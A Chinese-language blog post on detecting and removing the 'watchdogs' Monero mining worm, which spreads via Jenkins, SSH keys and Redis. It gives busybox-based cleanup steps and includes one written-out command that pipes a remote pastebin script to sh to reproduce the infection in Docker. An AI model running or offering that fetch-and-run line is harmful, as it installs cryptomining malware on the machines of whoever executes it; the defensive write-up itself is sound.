背景
從昨日(20190221)中午起, 發現大量測試環境機器和一台線上機器疑似感染挖礦病毒(后來確認的確是門羅幣挖礦病毒), 經過一天多的緊急排查, 已基本搞定了該病毒.
該病毒這兩天疑似大規模爆發, 已經有幾個其他公司的朋友中招, 也在網上看到一些帖子和提問.
下面先貼出梳理后的解決過程, 有時間再附上詳細的分析過程.
直觀表現
- top, ps -ef 無異常進程
- load average 穩步飆升
- netstat 命令被刪除
- 嘗試建立大量22端口, 6379端口的內網連接
- crontab 被添加定時挖礦腳本, 刪除無效
傳播途徑
- Jenkins漏洞(or 弱密碼?)侵入
- 嘗試root用戶ssh的免密登錄
- 嘗試redis內網登錄
准備過程
獲取busybox
因感染病毒后, ls等系統命令會被劫持, 需要busybox替代這些系統命令, 下面提供從busybox官方docker鏡像中提取的靜態編譯版busybox過程.
-
docker run --rm -itv /tmp/:/tmp busybox:uclibc
-
cp /bin/busybox /tmp
-
exit
宿主機即獲取到: /tmp/busybox
復現感染過程(docker環境被root感染模式)
docker與虛擬機環境有區別, 病毒行為會受限
-
docker run --rm -it -v /tmp:/tmp centos:latest
-
yum install -y crontabs lsof e2fsprogs
-
(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh
使用busybox代替系統命令
busybox top, busybox ps -ef
此busybox
為靜態編譯版, 不依賴so庫, 系統的ls
等命令已被通過so庫的preload機制被病毒劫持, ls
會導致/etc/cron.d/root
文件被刷寫為病毒定時執行命令.
發現比系統命令多兩個進程(進程個數跟cpu核數有關), 耗盡了所有cpu資源
-
/tmp/ksoftirqds
-
/tmp/watchdogs
查殺過程(系統命令已不可信, 操作優先采用busybox)
關閉crontab
systemctl stop crond
阻斷內網傳播
上面提到, 該病毒會通過jenkins漏洞, ssh免密登錄, redis免密or弱密碼遠程執行等方式傳播, 在對機器殺毒的過程中, 首先更改相應端口, 避免被內網其它機器二次感染.
上傳busybox
chmod +x busybox && mv busybox /sbin/
寫hosts, 屏蔽病毒腳本下載
busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts
刪除,創建,並鎖定 crontab相關文件
-
busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i /var/spool/cron/root
-
busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root
-
busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root
備份重要的crontab,然后刪除cron.d目錄的其他文件
busybox rm -rf /etc/cron.d/*
檢查並刪除下面目錄有異常文件
-
busybox ls /etc/cron.daily
-
busybox ls /etc/cron.hourly
-
busybox ls /etc/cron.monthly
-
busybox ls /etc/cron.weekly
刪除病毒相關執行文件和啟動腳本
-
/busybox rm /sbin/watchdogs
-
/busybox rm /usr/sbin/watchdogs
-
/busybox rm /etc/init.d/watchdogs
-
-
busybox find / -type f -name '*watchdogs*'|busybox xargs rm -f
刪除病毒進程
-
busybox pkill watchdogs
-
busybox pkill ksoftirqds
刪除被preload的so庫
-
busybox rm /usr/local/lib/libioset.so
-
busybox rm /etc/ld.so.preload
-
busybox rm /etc/ld.so.cache
驗證libioset.so被卸載
lsof |grep usr/local/lib/libioset.so
無輸出, 則該動態鏈接庫被卸載, 直接執行驗證步驟;
有輸出, kill掉占用的進程, 重復執行該步驟;
若反復執行后無法成功卸載該動態鏈接庫, 請執行服務器重啟操作.
重啟服務器
驗證步驟
-
busybox top # 查看系統負載
-
crontab -l # 查看是否還有異常任務
-
busybox chattr -i /etc/cron.d/root # 過一段時間查看是否有異常任務寫入
如果沒有成功,重復執行整個查殺過程,盡量在短時間內完成所有操作並重啟,否則病毒會利用已加載的動態鏈接庫恢復感染
轉載於:https://my.oschina.net/u/3473218/blog/3013593